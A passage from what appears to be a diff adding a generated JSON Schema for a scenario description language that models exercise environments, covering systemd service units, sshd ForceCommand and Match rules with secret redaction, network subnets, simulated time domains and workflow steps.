State"},"description":{"$ref":"#/$defs/_r53"},"enabled_state":{"anyOf":[{"$ref":"#/$defs/ServiceUnitEnabledState"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[eE][nN][aA][bB][lL][eE][dD]|[eE][nN][aA][bB][lL][eE][dD][-_][rR][uU][nN][tT][iI][mM][eE]|[dD][iI][sS][aA][bB][lL][eE][dD]|[sS][tT][aA][tT][iI][cC]|[aA][lL][iI][aA][sS]|[mM][aA][sS][kK][eE][dD]|[gG][eE][nN][eE][rR][aA][tT][eE][dD]|[iI][nN][dD][iI][rR][eE][cC][tT]|[tT][rR][aA][nN][sS][iI][eE][nN][tT]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Enabled State"},"exec_start":{"anyOf":[{"$ref":"#/$defs/ServiceUnitExecStart"},{"type":"null"}],"default":null},"exit_code":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Exit Code"},"load_state":{"anyOf":[{"$ref":"#/$defs/ServiceUnitLoadState"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[lL][oO][aA][dD][eE][dD]|[nN][oO][tT][-_][fF][oO][uU][nN][dD]|[mM][aA][sS][kK][eE][dD]|[eE][rR][rR][oO][rR]|[mM][eE][rR][gG][eE][dD]|[sS][tT][uU][bB]|[bB][aA][dD][-_][sS][eE][tT][tT][iI][nN][gG]|[uU][nN][kK][nN][oO][wW][nN]|[oO][tT][hH][eE][rR]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Load State"},"main_pid":{"anyOf":[{"type":"integer"},{"$ref":"#/$defs/_r185"},{"type":"null"}],"default":null,"title":"Main Pid"},"manager_kind":{"anyOf":[{"$ref":"#/$defs/ServiceManagerKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][yY][sS][tT][eE][mM][dD]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|x-[a-z0-9]+(?:-[a-z0-9]+)*:[a-z0-9]+(?:-[a-z0-9]+)*|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"systemd","title":"Manager Kind"},"result":{"anyOf":[{"$ref":"#/$defs/ServiceUnitResult"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][uU][cC][cC][eE][sS][sS]|[eE][xX][iI][tT][-_][cC][oO][dD][eE]|[sS][iI][gG][nN][aA][lL]|[tT][iI][mM][eE][oO][uU][tT]|[wW][aA][tT][cC][hH][dD][oO][gG]|[oO][oO][mM][-_][kK][iI][lL][lL]|[cC][oO][rR][eE][-_][dD][uU][mM][pP]|[sS][tT][aA][rR][tT][-_][lL][iI][mM][iI][tT][-_][hH][iI][tT]|[rR][eE][sS][oO][uU][rR][cC][eE][sS]|[pP][rR][oO][tT][oO][cC][oO][lL]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"unknown","title":"Result"},"service":{"$ref":"#/$defs/_r70"},"status_text":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Status Text","type":"string"},"sub_state":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Sub State","type":"string"},"unit_file_path":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Unit File Path","type":"string"},"unit_id":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Unit Id","type":"string"},"unit_name":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^\\S+$","title":"Unit Name","type":"string"},"unit_type":{"anyOf":[{"$ref":"#/$defs/ServiceUnitKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[sS][eE][rR][vV][iI][cC][eE]|[sS][oO][cC][kK][eE][tT]|[tT][aA][rR][gG][eE][tT]|[tT][iI][mM][eE][rR]|[pP][aA][tT][hH]|[mM][oO][uU][nN][tT]|[aA][uU][tT][oO][mM][oO][uU][nN][tT]|[sS][wW][aA][pP]|[dD][eE][vV][iI][cC][eE]|[sS][lL][iI][cC][eE]|[sS][cC][oO][pP][eE]|[oO][tT][hH][eE][rR]|[uU][nN][kK][nN][oO][wW][nN]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"other","title":"Unit Type"}},"required":["unit_id"],"title":"ServiceManagerUnit","type":"object"}, + "ServiceMaterialization": {"additionalProperties":false,"description":"Portable control contract for placing content through a named service.","properties":{"evidence_requirement_refs":{"$ref":"#/$defs/_r94"},"interface_profile":{"const":"service-content","default":"service-content","title":"Interface Profile","type":"string"},"observation_boundary_refs":{"$ref":"#/$defs/_r95"},"ordering_content_refs":{"$ref":"#/$defs/_r124"},"profile_version":{"const":"1","default":"1","title":"Profile Version","type":"string"},"readback_assertion_refs":{"$ref":"#/$defs/_r96"},"requirements":{"$ref":"#/$defs/ServiceMaterializationRequirements"},"shared_service_relationship_ref":{"$ref":"#/$defs/_r71"},"target_service_ref":{"$ref":"#/$defs/_r145"}},"required":["target_service_ref","readback_assertion_refs","evidence_requirement_refs","observation_boundary_refs","requirements"],"title":"ServiceMaterialization","type":"object"}, + "ServiceMaterializationRequirements": {"additionalProperties":false,"description":"Exact portable operation, ownership, and readback requirements.","properties":{"conflict_policy":{"$ref":"#/$defs/_r45"},"operation":{"const":"ensure-owned-items","default":"ensure-owned-items","title":"Operation","type":"string"},"readback":{"const":"canonical-content-digest","default":"canonical-content-digest","title":"Readback","type":"string"}},"title":"ServiceMaterializationRequirements","type":"object"}, + "ServicePort": {"additionalProperties":false,"description":"Authored identity of a node-local transport binding.\n\nA service declaration does not authorize traffic, prove a live listener,\npublish a host port, or classify an internal/external audience. Traffic\nauthorization belongs to infrastructure ACLs; observed bind state and host\npublication belong to their dedicated runtime surfaces.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r21"},"port":{"$ref":"#/$defs/_r43"},"protocol":{"$ref":"#/$defs/_r84"}},"required":["port"],"title":"ServicePort","type":"object"}, + "ServiceSearchIndexSchemaMaterialization": {"additionalProperties":false,"description":"Portable desired field schema for a named service-owned search index.","properties":{"evidence_requirement_refs":{"$ref":"#/$defs/_r94"},"interface_profile":{"const":"service-search-index-schema","title":"Interface Profile","type":"string"},"observation_boundary_refs":{"$ref":"#/$defs/_r95"},"ordering_content_refs":{"$ref":"#/$defs/_r124"},"profile_version":{"const":"1","default":"1","title":"Profile Version","type":"string"},"readback_assertion_refs":{"$ref":"#/$defs/_r96"},"requirements":{"$ref":"#/$defs/ServiceSearchIndexSchemaRequirements"},"shared_service_relationship_ref":{"$ref":"#/$defs/_r71"},"target_service_ref":{"$ref":"#/$defs/_r145"}},"required":["target_service_ref","readback_assertion_refs","evidence_requirement_refs","observation_boundary_refs","interface_profile","requirements"],"title":"ServiceSearchIndexSchemaMaterialization","type":"object"}, + "ServiceSearchIndexSchemaRequirements": {"additionalProperties":false,"description":"Exact portable search-index schema operation and readback.","properties":{"conflict_policy":{"$ref":"#/$defs/_r45"},"field_semantics":{"minProperties":1,"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/SearchIndexFieldSemantic"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Field Semantics","type":"object"},"operation":{"const":"ensure-search-index-field-schema","default":"ensure-search-index-field-schema","title":"Operation","type":"string"},"readback":{"const":"canonical-portable-field-schema-digest","default":"canonical-portable-field-schema-digest","title":"Readback","type":"string"}},"required":["field_semantics"],"title":"ServiceSearchIndexSchemaRequirements","type":"object"}, + "ServiceUnitActiveState": {"description":"Observed unit *active* state (``systemctl list-units`` ACTIVE column).","enum":["active","reloading","inactive","failed","activating","deactivating","unknown","other"],"title":"ServiceUnitActiveState","type":"string"}, + "ServiceUnitEnabledState": {"description":"Observed unit-file enable state (``systemctl is-enabled``).","enum":["enabled","enabled_runtime","disabled","static","alias","masked","generated","indirect","transient","unknown","other"],"title":"ServiceUnitEnabledState","type":"string"}, + "ServiceUnitExecStart": {"additionalProperties":false,"allOf":[{"$ref":"#/$defs/_r90"},{"$ref":"#/$defs/_r89"}],"description":"A typed service-manager ``ExecStart`` configuration.\n\nMirrors the SSH ``ForcedCommand`` redaction discipline (ADR-031): the\n``command_kind`` discriminates how ``command`` is interpreted, and\n``command_redacted=True`` forces ``command`` empty and\n``command_kind=redacted``. The model never carries raw secret-bearing\nargv -- if the underlying ``ExecStart=`` includes credentials, tokens, or\noperator-only arguments, the surface stores only the redacted shape.","properties":{"command":{"$ref":"#/$defs/_r51"},"command_kind":{"anyOf":[{"$ref":"#/$defs/ServiceUnitExecStartKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][bB][sS][oO][lL][uU][tT][eE][-_][pP][aA][tT][hH]|[rR][eE][dD][aA][cC][tT][eE][dD]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"absolute_path","title":"Command Kind"},"command_redacted":{"$ref":"#/$defs/_r32"},"description":{"$ref":"#/$defs/_r53"}},"title":"ServiceUnitExecStart","type":"object"}, + "ServiceUnitExecStartKind": {"description":"How a service-manager unit's ``ExecStart`` command is carried.\n\n``absolute_path`` records a concrete executable path; ``redacted`` records\nthat the underlying ``ExecStart`` carries secret-bearing arguments and is\nwithheld from the SDL model.","enum":["absolute_path","redacted"],"title":"ServiceUnitExecStartKind","type":"string"}, + "ServiceUnitKind": {"description":"Type of service-manager unit (systemd unit kinds with ``other`` escape).","enum":["service","socket","target","timer","path","mount","automount","swap","device","slice","scope","other","unknown"],"title":"ServiceUnitKind","type":"string"}, + "ServiceUnitLoadState": {"description":"Observed unit *load* state (``systemctl list-units`` LOAD column).","enum":["loaded","not_found","masked","error","merged","stub","bad_setting","unknown","other"],"title":"ServiceUnitLoadState","type":"string"}, + "ServiceUnitResult": {"description":"Observed last-run unit result class (systemd ``Result=`` values).","enum":["success","exit_code","signal","timeout","watchdog","oom_kill","core_dump","start_limit_hit","resources","protocol","other","unknown"],"title":"ServiceUnitResult","type":"string"}, + "SimpleProperties": {"additionalProperties":false,"description":"Network properties for a switch/subnet: CIDR, gateway, and flags.","properties":{"cidr":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Cidr","type":"string"},"gateway":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Gateway","type":"string"},"internal":{"anyOf":[{"type":"boolean"},{"$ref":"#/$defs/_r185"}],"default":false,"title":"Internal"}},"required":["cidr","gateway"],"title":"SimpleProperties","type":"object"}, + "Source": {"additionalProperties":false,"description":"Provider-neutral artifact reference.\n\nShorthand: ``source: \"package-name\"`` (version defaults to ``\"*\"``).\nLonghand: ``source: {name: \"package-name\", version: \"1.2.3\"}``.","properties":{"artifact_requirement":{"anyOf":[{"$ref":"#/$defs/ArtifactRequirement"},{"type":"null"}],"default":null},"build":{"anyOf":[{"$ref":"#/$defs/ContainerImageBuildProvenance"},{"type":"null"}],"default":null},"name":{"$ref":"#/$defs/_r174"},"version":{"$ref":"#/$defs/_r83"}},"required":["name"],"title":"Source","type":"object"}, + "SshForcedCommand": {"additionalProperties":false,"allOf":[{"$ref":"#/$defs/_r90"},{"$ref":"#/$defs/_r89"}],"description":"A typed sshd ``ForceCommand`` configuration.\n\nThe ``command_kind`` discriminates how ``command`` is interpreted:\n\n- ``absolute_path``: a concrete executable path (or ``${var}``) starting\n with ``/``. Validated via ``absolute_path_or_var``.\n- ``internal_sftp``: the sshd-internal sftp subsystem; ``command`` must\n equal the literal ``\"internal-sftp\"``.\n- ``redacted``: the underlying command is withheld from the SDL model\n because it carries secrets, session identifiers, or operator-only\n arguments; ``command`` must be empty and ``command_redacted`` must\n be true.","properties":{"command":{"$ref":"#/$defs/_r51"},"command_kind":{"anyOf":[{"$ref":"#/$defs/SshForcedCommandKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[aA][bB][sS][oO][lL][uU][tT][eE][-_][pP][aA][tT][hH]|[iI][nN][tT][eE][rR][nN][aA][lL][-_][sS][fF][tT][pP]|[rR][eE][dD][aA][cC][tT][eE][dD]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"default":"absolute_path","title":"Command Kind"},"command_redacted":{"$ref":"#/$defs/_r32"},"description":{"$ref":"#/$defs/_r53"}},"title":"SshForcedCommand","type":"object"}, + "SshForcedCommandKind": {"description":"Kind of forced command an sshd ``ForceCommand`` directive carries.","enum":["absolute_path","internal_sftp","redacted"],"title":"SshForcedCommandKind","type":"string"}, + "SshMatchCriterion": {"additionalProperties":false,"description":"A single sshd ``Match`` criterion (one ``kind`` + one ``pattern``).","properties":{"kind":{"anyOf":[{"$ref":"#/$defs/SshMatchCriterionKind"},{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"pattern":"^(?:[uU][sS][eE][rR]|[gG][rR][oO][uU][pP]|[hH][oO][sS][tT]|[aA][dD][dD][rR][eE][sS][sS]|[lL][oO][cC][aA][lL][-_][uU][sS][eE][rR]|[lL][oO][cC][aA][lL][-_][pP][oO][rR][tT]|[rR][dD][oO][mM][aA][iI][nN]|[aA][lL][lL]|\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\})$(?![\\s\\S])","type":"string"}],"title":"Kind"},"pattern":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Pattern","type":"string"}},"required":["kind","pattern"],"title":"SshMatchCriterion","type":"object"}, + "SshMatchCriterionKind": {"description":"OpenSSH ``Match`` criterion kinds.\n\n``LOCAL_USER`` is the explicit \"match this concrete account\" form that\nsemantic validation may cross-check against ``runtime.local_identity``\nwhen that inventory is present. ``USER`` is the looser pattern form\n(wildcards, comma-separated lists) and is not cross-checked.","enum":["user","group","host","address","local_user","local_port","rdomain","all"],"title":"SshMatchCriterionKind","type":"string"}, + "SshMatchRule": {"additionalProperties":false,"description":"A scoped sshd ``Match`` rule.\n\n``criteria`` is the ordered conjunction of one-or-more match criteria\n(``Match User kali`` is one criterion; ``Match User kali Address 10.0.0.0/8``\nis two). Per-rule sshd directives override the surrounding global\ndirectives for sessions that match all listed criteria.","properties":{"accept_env":{"$ref":"#/$defs/_r97"},"allow_groups":{"$ref":"#/$defs/_r101"},"allow_users":{"$ref":"#/$defs/_r102"},"authentication_methods":{"$ref":"#/$defs/_r105"},"authorized_keys_file":{"$ref":"#/$defs/_r49"},"chroot_directory":{"$ref":"#/$defs/_r50"},"criteria":{"items":{"$ref":"#/$defs/SshMatchCriterion"},"title":"Criteria","type":"array"},"deny_groups":{"$ref":"#/$defs/_r109"},"deny_users":{"$ref":"#/$defs/_r110"},"description":{"$ref":"#/$defs/_r53"},"forced_command":{"anyOf":[{"$ref":"#/$defs/SshForcedCommand"},{"type":"null"}],"default":null},"match_id":{"$ref":"#/$defs/_r3"},"password_authentication":{"$ref":"#/$defs/_r29"},"permit_tty":{"$ref":"#/$defs/_r30"},"pubkey_authentication":{"$ref":"#/$defs/_r31"}},"required":["match_id"],"title":"SshMatchRule","type":"object"}, + "StateOwner": {"description":"Owner of mutable state or reset generation.","enum":["none","consumer_tenant","shared_service"],"title":"StateOwner","type":"string"}, + "StatefulResourceConsumer": {"additionalProperties":false,"description":"A node that consumes a generated artifact or persistent volume.","properties":{"access_mode":{"$ref":"#/$defs/ConsumerAccessMode"},"mount_destination":{"$ref":"#/$defs/_r173"},"node":{"$ref":"#/$defs/_r175"}},"required":["node","mount_destination","access_mode"],"title":"StatefulResourceConsumer","type":"object"}, + "Story": {"additionalProperties":false,"description":"Top-level exercise orchestration \u2014 a group of scripts.","properties":{"description":{"$ref":"#/$defs/_r53"},"name":{"$ref":"#/$defs/_r64"},"scripts":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Scripts","type":"array"},"speed":{"anyOf":[{"type":"number"},{"$ref":"#/$defs/_r185"}],"default":1.0,"title":"Speed"}},"required":["scripts"],"title":"Story","type":"object"}, + "StringPredicate": {"additionalProperties":false,"allOf":[{"anyOf":[{"properties":{"expected":{"not":{"type":"null"}}},"required":["expected"]},{"properties":{"expected_from":{"not":{"type":"null"}}},"required":["expected_from"]}]},{"not":{"allOf":[{"properties":{"expected":{"not":{"type":"null"}}},"required":["expected"]},{"properties":{"expected_from":{"not":{"type":"null"}}},"required":["expected_from"]}]}}],"description":"Compare a governed string property with typed string operands.","properties":{"expected":{"anyOf":[{"$ref":"#/$defs/_r185"},{"items":{"$ref":"#/$defs/_r185"},"type":"array"},{"type":"null"}],"default":null,"title":"Expected"},"expected_from":{"$ref":"#/$defs/_r7"},"kind":{"const":"string","default":"string","title":"Kind","type":"string"},"operator":{"default":"equals","enum":["equals","not_equals","in","not_in"],"title":"Operator","type":"string"},"property":{"$ref":"#/$defs/_r136"},"semantic_ref":{"$ref":"#/$defs/_r132"}},"required":["property","semantic_ref"],"title":"StringPredicate","type":"object"}, + "SubjectQuantifier": {"description":"Quantification over a proposition's finite, resolved subject set.","enum":["all","any","at_least"],"title":"SubjectQuantifier","type":"string"}, + "TemporalConstraint": {"additionalProperties":false,"description":"One typed temporal predicate over ordinary RAES subjects.","properties":{"cadence_ticks":{"anyOf":[{"exclusiveMinimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Cadence Ticks"},"clock_ref":{"$ref":"#/$defs/_r169"},"constraint_kind":{"$ref":"#/$defs/TemporalConstraintKind"},"description":{"$ref":"#/$defs/_r170"},"duration_ticks":{"anyOf":[{"exclusiveMinimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Duration Ticks"},"end":{"anyOf":[{"$ref":"#/$defs/TimeCoordinate"},{"type":"null"}],"default":null},"start":{"anyOf":[{"$ref":"#/$defs/TimeCoordinate"},{"type":"null"}],"default":null},"subject_refs":{"items":{"$ref":"#/$defs/_r185"},"minItems":1,"title":"Subject Refs","type":"array"}},"required":["constraint_kind","clock_ref","subject_refs","description"],"title":"TemporalConstraint","type":"object"}, + "TemporalConstraintKind": {"description":"Backend-independent temporal predicate families.","enum":["precedence","duration","window","deadline","cadence"],"title":"TemporalConstraintKind","type":"string"}, + "TenantClaimOwner": {"description":"Authority allowed to issue the server-controlled tenant claim.","enum":["facade"],"title":"TenantClaimOwner","type":"string"}, + "TenantIsolationMode": {"description":"Shared-service tenant isolation posture.","enum":["none","stateless","tenant_partitioned"],"title":"TenantIsolationMode","type":"string"}, + "TimeAdvancementMode": {"description":"How a clock may advance.","enum":["real_time","dilated","stepped","event_driven","externally_paced"],"title":"TimeAdvancementMode","type":"string"}, + "TimeCoordinate": {"additionalProperties":false,"description":"One superdense point on a declared clock.","properties":{"microstep":{"default":0,"minimum":0,"title":"Microstep","type":"integer"},"tick":{"title":"Tick","type":"integer"}},"required":["tick"],"title":"TimeCoordinate","type":"object"}, + "TimeDomain": {"additionalProperties":false,"description":"Authored meaning and resolution of one time domain.","properties":{"description":{"$ref":"#/$defs/_r170"},"epoch":{"$ref":"#/$defs/TimeEpochKind"},"kind":{"$ref":"#/$defs/TimeDomainKind"},"tick_period_seconds":{"$ref":"#/$defs/ExactRatio"},"visibility":{"$ref":"#/$defs/TimeDomainVisibility","default":"runtime_only"}},"required":["kind","tick_period_seconds","epoch","description"],"title":"TimeDomain","type":"object"}, + "TimeDomainKind": {"description":"Meaning of values carried by a time domain.","enum":["wall_clock","monotonic","simulated","logical","external"],"title":"TimeDomainKind","type":"string"}, + "TimeDomainMapping": {"additionalProperties":false,"description":"Explicit exact conversion between otherwise incomparable domains.","properties":{"description":{"$ref":"#/$defs/_r170"},"mapping_kind":{"$ref":"#/$defs/TimeMappingKind"},"offset_ticks":{"default":0,"title":"Offset Ticks","type":"integer"},"scale":{"$ref":"#/$defs/ExactRatio"},"source_domain_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Source Domain Ref","type":"string"},"target_domain_ref":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Target Domain Ref","type":"string"}},"required":["source_domain_ref","target_domain_ref","mapping_kind","description"],"title":"TimeDomainMapping","type":"object"}, + "TimeDomainVisibility": {"description":"Who may observe a time domain.","enum":["runtime_only","participant_visible","evidence_only"],"title":"TimeDomainVisibility","type":"string"}, + "TimeEpochKind": {"description":"Interpretation of tick zero.","enum":["unix","scenario_start","run_start","unanchored","external"],"title":"TimeEpochKind","type":"string"}, + "TimeMappingKind": {"description":"Supported exact conversion families.","enum":["identity","affine_rational"],"title":"TimeMappingKind","type":"string"}, + "TimeProgressionPolicy": {"additionalProperties":false,"description":"Authored advancement, pacing, synchronization, and lifecycle policy.","properties":{"advancement_mode":{"$ref":"#/$defs/TimeAdvancementMode"},"clock_ref":{"$ref":"#/$defs/_r169"},"description":{"$ref":"#/$defs/_r170"},"drift_bound_ticks":{"anyOf":[{"minimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Drift Bound Ticks"},"pacing_ratio":{"$ref":"#/$defs/ExactRatio"},"replay_behavior":{"$ref":"#/$defs/TimeReplayBehavior"},"reset_behavior":{"$ref":"#/$defs/TimeResetBehavior"},"step_ticks":{"anyOf":[{"exclusiveMinimum":0,"type":"integer"},{"type":"null"}],"default":null,"title":"Step Ticks"},"synchronization_mode":{"$ref":"#/$defs/TimeSynchronizationMode"}},"required":["clock_ref","advancement_mode","synchronization_mode","reset_behavior","replay_behavior","description"],"title":"TimeProgressionPolicy","type":"object"}, + "TimeReplayBehavior": {"description":"Clock behavior when a run is replayed.","enum":["restart_from_anchor","restore_recorded_advances","unsupported"],"title":"TimeReplayBehavior","type":"string"}, + "TimeResetBehavior": {"description":"Clock behavior at a reset boundary.","enum":["new_segment_zero","new_segment_preserve_value","unsupported"],"title":"TimeResetBehavior","type":"string"}, + "TimeSynchronizationMode": {"description":"How multiple time consumers coordinate progress.","enum":["none","authority","barrier","conservative"],"title":"TimeSynchronizationMode","type":"string"}, + "TruthCompositionMode": {"description":"Portable composition over assertion outcomes.","enum":["all_of","any_of","at_least"],"title":"TruthCompositionMode","type":"string"}, + "VersionDomain": {"additionalProperties":false,"anyOf":[{"properties":{"lower":{"$ref":"#/$defs/_r185"}},"required":["lower"]},{"properties":{"upper":{"$ref":"#/$defs/_r185"}},"required":["upper"]}],"description":"An optional one-sided or bounded restriction; exact SDL strings stay exact.\n\nComparison equality is relation-owned. This never asserts correspondence\nbetween an application version and a distribution package version.","properties":{"kind":{"const":"version","default":"version","title":"Kind","type":"string"},"lower":{"anyOf":[{"$ref":"#/$defs/_r133"},{"type":"null"}],"default":null,"title":"Lower"},"lower_closed":{"default":true,"title":"Lower Closed","type":"boolean"},"relation":{"$ref":"#/$defs/DomainProfileSemanticContractModel"},"upper":{"anyOf":[{"$ref":"#/$defs/_r133"},{"type":"null"}],"default":null,"title":"Upper"},"upper_closed":{"default":true,"title":"Upper Closed","type":"boolean"}},"required":["relation"],"title":"VersionDomain","type":"object"}, + "VolumeAccessMode": {"enum":["read_write_once","read_write_many","read_only_many"],"title":"VolumeAccessMode","type":"string"}, + "VolumeLifecycle": {"enum":["retain","ephemeral"],"title":"VolumeLifecycle","type":"string"}, + "Workflow": {"additionalProperties":false,"description":"A declarative experiment control graph over objectives.","properties":{"compensation":{"anyOf":[{"$ref":"#/$defs/WorkflowCompensationPolicy"},{"type":"null"}],"default":null},"description":{"$ref":"#/$defs/_r53"},"start":{"not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Start","type":"string"},"steps":{"minProperties":1,"patternProperties":{"^[a-z0-9]":{"$ref":"#/$defs/WorkflowStep"}},"propertyNames":{"maxLength":64,"minLength":1,"not":{"pattern":"[^a-z0-9_-]"}},"title":"Steps","type":"object"},"timeout":{"anyOf":[{"$ref":"#/$defs/WorkflowTimeoutPolicy"},{"type":"null"}],"default":null}},"required":["start","steps"],"title":"Workflow","type":"object"}, + "WorkflowCompensationFailurePolicy": {"description":"How primary workflow status should treat compensation failures.","enum":["fail_workflow","record_and_continue"],"title":"WorkflowCompensationFailurePolicy","type":"string"}, + "WorkflowCompensationMode": {"description":"Workflow-level compensation behavior.","enum":["automatic","disabled"],"title":"WorkflowCompensationMode","type":"string"}, + "WorkflowCompensationPolicy": {"additionalProperties":false,"description":"Workflow-level compensation policy.","properties":{"failure_policy":{"$ref":"#/$defs/WorkflowCompensationFailurePolicy","default":"fail_workflow"},"mode":{"$ref":"#/$defs/WorkflowCompensationMode","default":"disabled"},"on":{"items":{"$ref":"#/$defs/WorkflowCompensationTrigger"},"title":"On","type":"array"},"order":{"default":"reverse_completion","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Order","type":"string"}},"title":"WorkflowCompensationPolicy","type":"object"}, + "WorkflowCompensationTrigger": {"description":"Terminal workflow reasons that may trigger compensation.","enum":["failed","cancelled","timed_out"],"title":"WorkflowCompensationTrigger","type":"string"}, + "WorkflowPredicate": {"additionalProperties":false,"description":"Typed branch predicate over assertions, objectives, and prior step state.","properties":{"assertions":{"$ref":"#/$defs/_r104"},"objectives":{"items":{"$ref":"#/$defs/_r185"},"title":"Objectives","type":"array"},"steps":{"items":{"$ref":"#/$defs/WorkflowStepStateRef"},"title":"Steps","type":"array"}},"title":"WorkflowPredicate","type":"object"}, + "WorkflowStep": {"additionalProperties":false,"description":"A named workflow step with explicit portable control semantics.","properties":{"allowed_action_families":{"items":{"$ref":"#/$defs/_r185"},"title":"Allowed Action Families","type":"array"},"branches":{"items":{"$ref":"#/$defs/_r185"},"title":"Branches","type":"array"},"capability_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Capability Refs","type":"array"},"cases":{"items":{"$ref":"#/$defs/WorkflowSwitchCase"},"title":"Cases","type":"array"},"compensate_with":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Compensate With","type":"string"},"default":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Default","type":"string"},"description":{"$ref":"#/$defs/_r53"},"else":{"default":"","not":{"pattern":"\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}"},"title":"Else","type":"string"},"execution_mode":{"$ref":"#/$defs/WorkflowStepExecutionMode","default":"scripted"},"fact_binding_refs":{"items":{"$ref":"#/$defs/_r185"},"title":"Fact Binding 